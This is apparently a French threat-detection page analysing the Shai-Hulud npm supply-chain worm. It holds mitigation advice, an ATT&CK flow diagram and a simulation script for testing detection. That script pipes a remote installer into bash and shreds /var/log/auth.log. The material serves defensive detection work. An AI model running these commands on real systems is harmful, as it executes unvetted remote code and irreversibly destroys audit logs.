SOC Prime Bias: Critique

28 Nov 2025 18:53

Shai-Hulud : Attaque à Grande Échelle de la Chaîne d’Approvisionnement npm

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
Shai-Hulud : Attaque à Grande Échelle de la Chaîne d’Approvisionnement npm
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

GitLab a divulgué une intrusion généralisée dans la chaîne d’approvisionnement visant les écosystèmes npm. La campagne diffuse une variante mise à jour du malware Shai-Hulud via des scripts de préinstallation malveillants. Cette charge utile récolte des identifiants de cloud et d’hébergement de code, achemine les données vers des dépôts GitHub contrôlés par les attaquants et se propage en republiaint des paquets trojanisés. Un coupe-circuit intégré peut effacer ou corrompre les fichiers utilisateur si l’infrastructure de l’attaquant est perturbée.

Enquête

L’équipe de recherche en vulnérabilité de GitLab a retracé l’activité à des paquets npm contaminés dont le package.json modifié fait référence à un chargeur setup_bun.js. Ce chargeur installe le runtime Bun et déclenche une charge bun_environment.js intégrée qui collecte les identifiants, exécute Trufflehog pour découvrir des secrets, et télécharge les résultats sur un dépôt GitHub public. Le malware crée également de nouveaux dépôts GitHub comme boîtes de dépôt et abuse des tokens npm volés pour republier des paquets compromis. Si l’accès à la fois à GitHub et à npm est coupé, la charge continue de supprimer ou de remplacer les fichiers utilisateur.

Atténuation

GitLab recommande aux organisations d’inspecter les dépendances npm pour les scripts de préinstallation inattendus et de valider l’intégrité des paquets publiés. Les équipes devraient retirer les chargeurs setup_bun.js non autorisés, révoquer les tokens npm et GitHub exposés, et surveiller les dépôts GitHub suspects marqués avec « Sha1-Hulud : The Second Coming ». La protection des endpoints doit être configurée pour bloquer les scripts Node non vérifiés et détecter les lignes de commande destructrices documentées dans le rapport.

Réponse

Lorsqu’une activité est détectée, isolez le système impacté, révoquez tous les identifiants compromis et purgez les paquets npm malveillants des registres internes. Effectuez un examen médico-légal pour confirmer ou exclure l’exfiltration de données et la destruction de fichiers. Émettez de nouveaux identifiants pour les plateformes cloud et GitHub, et surveillez de manière continue GitHub pour tout nouveau dépôt créé correspondant au marqueur de l’attaquant. Enfin, renforcez les pipelines CI/CD pour interdire les scripts de préinstallation arbitraires.

mermaid graph TB %% Class definitions classDef technique fill:#99ccff classDef file fill:#ffcc99 classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef operator fill:#ff9900 %% Nodes – Attack Techniques tech_supply_chain[« <b>Technique</b> – <b>T1195.001 Compromission de la Chaîne d’Approvisionnement</b> : Des paquets npm malveillants publient un package.json modifié qui ajoute un script de préinstallation »] class tech_supply_chain technique tech_client_exec[« <b>Technique</b> – <b>T1203 Exploitation pour Exécution Client</b> : npm exécute le script de préinstallation pendant l’installation du package, exécutant le setup_bun.js malveillant »] class tech_client_exec technique tech_software_ext[« <b>Technique</b> – <b>T1176 Extensions Logicielles</b> : Le script de préinstallation agit comme une extension malveillante au package légitime »] class tech_software_ext technique tech_obfuscate[« <b>Technique</b> – <b>T1027 Fichiers ou Informations Obfusqués</b> : Grande charge bun_environment.js obfusquée est téléchargée »] class tech_obfuscate technique tech_decode[« <b>Technique</b> – <b>T1140 Déobfuscation/Décodage de Fichiers ou d’Informations</b> : La charge utile est décodée avant l’exécution »] class tech_decode technique tech_hidden_files[« <b>Technique</b> – <b>T1564.001 Fichiers et Répertoires Cachés</b> : Crée .truffler-cache/ et sous-répertoires »] class tech_hidden_files technique tech_path_excl[« <b>Technique</b> – <b>T1564.012 Exclusions de Chemin de Fichier</b> : Stocke des binaires malveillants dans des chemins cachés pour éviter la détection »] class tech_path_excl technique tech_cred_in_files[« <b>Technique</b> – <b>T1552.001 Identifiants dans Fichiers</b> : Analyse .npmrc, variables d’environnement et fichiers de configuration pour des tokens de cloud et de dépôt »] class tech_cred_in_files technique tech_auto_collect[« <b>Technique</b> – <b>T1119 Collecte Automatisée</b> : Exécute Trufflehog pour collecter des secrets du système de fichiers »] class tech_auto_collect technique tech_exfil_repo[« <b>Technique</b> – <b>T1567.001 Exfiltration vers un Dépôt de Code</b> : Utilise un token GitHub volé pour créer des dépôts publics et téléverser des identifiants »] class tech_exfil_repo technique tech_destructive[« <b>Technique</b> – <b>T1565 Manipulation de Données</b> : Exécute des commandes destructrices (del, cipher, shred) pour supprimer et remplacer les données utilisateur »] class tech_destructive technique tech_impair[« <b>Technique</b> – <b>T1562 Perturber les Défenses</b> : Le coupe-circuit empêche la récupération en détruisant les données »] class tech_impair technique tech_propagate[« <b>Technique</b> – <b>T1195.001 Propagation de la Chaîne d’Approvisionnement</b> : Utilise des tokens npm volés pour injecter des scripts de préinstallation malveillants dans des packages de victime et les republie »] class tech_propagate technique %% Nodes – Files and Tools file_package_json[« <b>Fichier</b> : package.json avec script de préinstallation malveillant »] class file_package_json file file_setup_bun[« <b>Fichier</b> : setup_bun.js (script de préinstallation) »] class file_setup_bun file file_bun_env[« <b>Fichier</b> : bun_environment.js (charge obfusquée) »] class file_bun_env file file_trufflehog[« <b>Outil</b> : Binaire Trufflehog stocké dans .truffler-cache »] class file_trufflehog tool file_hidden_dir[« <b>Fichier</b> : Répertoire caché .truffler-cache/ »] class file_hidden_dir file file_github_repo[« <b>Fichier</b> : Dépôt GitHub public créé pour l’exfiltration »] class file_github_repo file %% Edges – Attack Flow tech_supply_chain u002du002d>|ajoute un script de préinstallation| file_package_json file_package_json u002du002d>|déclenchement pendant l’installation npm| tech_client_exec tech_client_exec u002du002d>|exécute| file_setup_bun file_setup_bun u002du002d>|télécharge| file_bun_env file_bun_env u002du002d>|est| tech_obfuscate tech_obfuscate u002du002d>|nécessite| tech_decode tech_decode u002du002d>|produit une charge utile exécutable| tech_software_ext tech_software_ext u002du002d>|crée| file_hidden_dir file_hidden_dir u002du002d>|stocke| file_trufflehog file_trufflehog u002du002d>|utilisé pour| tech_auto_collect tech_auto_collect u002du002d>|collecte des identifiants| tech_cred_in_files tech_cred_in_files u002du002d>|fournit des tokens à| tech_exfil_repo tech_exfil_repo u002du002d>|téléverse des données sur| file_github_repo tech_exfil_repo u002du002d>|si tokens perdus déclenche| tech_destructive tech_destructive u002du002d>|empêche la récupération via| tech_impair tech_impair u002du002d>|active| tech_propagate tech_propagate u002du002d>|injecte des préinstallations malveillantes dans de nouveaux paquets npm| tech_supply_chain %% Styling class tech_supply_chain,tech_client_exec,tech_software_ext,tech_obfuscate,tech_decode,tech_hidden_files,tech_path_excl,tech_cred_in_files,tech_auto_collect,tech_exfil_repo,tech_destructive,tech_impair,tech_propagate technique class file_package_json,file_setup_bun,file_bun_env,file_hidden_dir,file_github_repo file class file_trufflehog tool

Flux d’attaque

Exécution de Simulation

Prérequis : Le contrôle pré-vol de Télémétrie & Base doit avoir réussi.

Narrative de l’attaque & Commandes

L’adversaire a pris pied sur l’hôte Linux compromis. Pour établir un runtime persistant capable d’exécuter des charges supplémentaires basées sur JavaScript, il télécharge et installe le runtime Bun via une commande en une ligne qui transfère directement l’installateur dans bash. Immédiatement après confirmation de la présence du runtime, l’attaquant déclenche un « interrupt switch » (simulé ici par un sleep) qui lance une opération destructrice shred pour supprimer de manière irréversible un fichier sensible (/var/log/auth.log).

Les étapes sont :

  1. Télécharger & installer Bun :
    curl -fsSL https://bun.sh/install | bash
  2. Attendre brièvement (simulant le timing de l’interrupteur).
  3. Exécuter la commande destructrice shred :
    shred -uvz -n 1 /var/log/auth.log

Les deux commandes génèrent des événements de création de processus qui correspondent exactement aux mots-clés de la règle Sigma.

Script de Test de Régression

#!/bin/bash
# -------------------------------------------------
# Simulation du comportement « Bun install + shred » de Shai-Hulud
# -------------------------------------------------

# 1️⃣ Installer Bun (commande exacte requise pour la détection)
echo "[*] Installation du runtime Bun..."
curl -fsSL https://bun.sh/install | bash

# Bref arrêt pour simuler un timing réaliste
sleep 5

# 2️⃣ Effectuer un effacement destructeur de fichier (commande exacte requise)
TARGET_FILE="/var/log/auth.log"
if [[ -f "$TARGET_FILE" ]]; then
    echo "[*] Suppression de $TARGET_FILE ..."
    shred -uvz -n 1 "$TARGET_FILE"
else
    echo "[!] Fichier cible introuvable ; création d'un fichier factice pour la démonstration."
    echo "données factices" > "$TARGET_FILE"
    shred -uvz -n 1 "$TARGET_FILE"
fi

echo "[*] Simulation terminée."

Commandes de Nettoyage

#!/bin/bash
# -------------------------------------------------
# Nettoyage après la simulation Bun/Shred
# -------------------------------------------------

# Supprimer tous les fichiers Bun résiduels (si installés)
if command -v bun >/dev/null 2>&1; then
    echo "[*] Suppression du runtime Bun..."
    rm -rf "$HOME/.bun"
    rm -f /usr/local/bin/bun
fi

# Recréer le fichier journal en petits morceaux (pour la stabilité du système)
TARGET_FILE="/var/log/auth.log"
if [[ ! -f "$TARGET_FILE" ]]; then
    echo "recréation du journal en petits morceaux" | sudo tee "$TARGET_FILE" >/dev/null
    sudo chmod 600 "$TARGET_FILE"
fi

echo "[*] Nettoyage terminé."